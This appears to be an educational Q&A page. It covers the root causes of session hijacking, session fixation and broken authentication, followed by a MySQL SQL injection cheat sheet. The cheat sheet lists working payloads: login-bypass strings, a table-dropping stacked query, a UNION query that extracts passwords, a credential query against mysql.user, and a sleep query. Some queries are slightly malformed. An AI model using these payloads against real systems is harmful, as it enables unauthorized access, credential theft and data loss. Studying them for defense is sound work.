Root Causes of Session Hijacking and Session Fixation and Broken Authentication

Question: What is Session Hijacking?
Session hijacking is an attack where a user session is taken over by an attacker.


Question: What are the Root Causes of Session Hijacking?

1. Guessable session ID
2. Absence of detection mechanism for “repeated guessing trial” either with brute-force or systematic methods.
3. Weak cryptography algorithm
4. Unable to detect repeated guessing trials while there is a mechanism in place
5. Insecure session handling methods
6. Limitation of HTTP: the statelessness of the protocol or lack of any inherent or integrated state management mechanism

Question: What is Session Fixation?
Session Fixation is an attack that permits an attacker to hijack a valid user session.

Question: What are the Root Causes of Session Fixation?

1. Permissive Server: a server that accepts client generated session ID
2. Session management type in use
3. Reuse of session identifiers

Question: What is Broken Authentication?
Attacker get authenticated when he attack on Session Data and get success.

Question: What are the Root Causes of Broken Authentication?

1. Lack of metrics: absence of well-developed metrics
2. Lack of security knowledge among programmers to apply information and communication security mechanisms to their solutions
3. Wrong decisions or compromises
4. Use of self-developed modules instead of well tested and thoroughly analyzed modules for security services such as authentication
5. Storing user credentials with other application data.
6. Guessing Attempts: allowing repeated guessing attempts
7. Lack of security awareness among users.

MySQL - SQL Injection Cheat Sheet

 

Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query

SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query

SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query

SELECT id,/* comment here*/ email FROM members WHERE 1 

#3 SQL Injection Attack deleting table

SELECT id email FROM members WHERE email="arun@example.com" ; drop table users

#4 Union Injections - try to get another table data

SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members

#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password

SELECT User,Password FROM mysql.user;

#7 Get MySQL version

SELECT @@version

#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)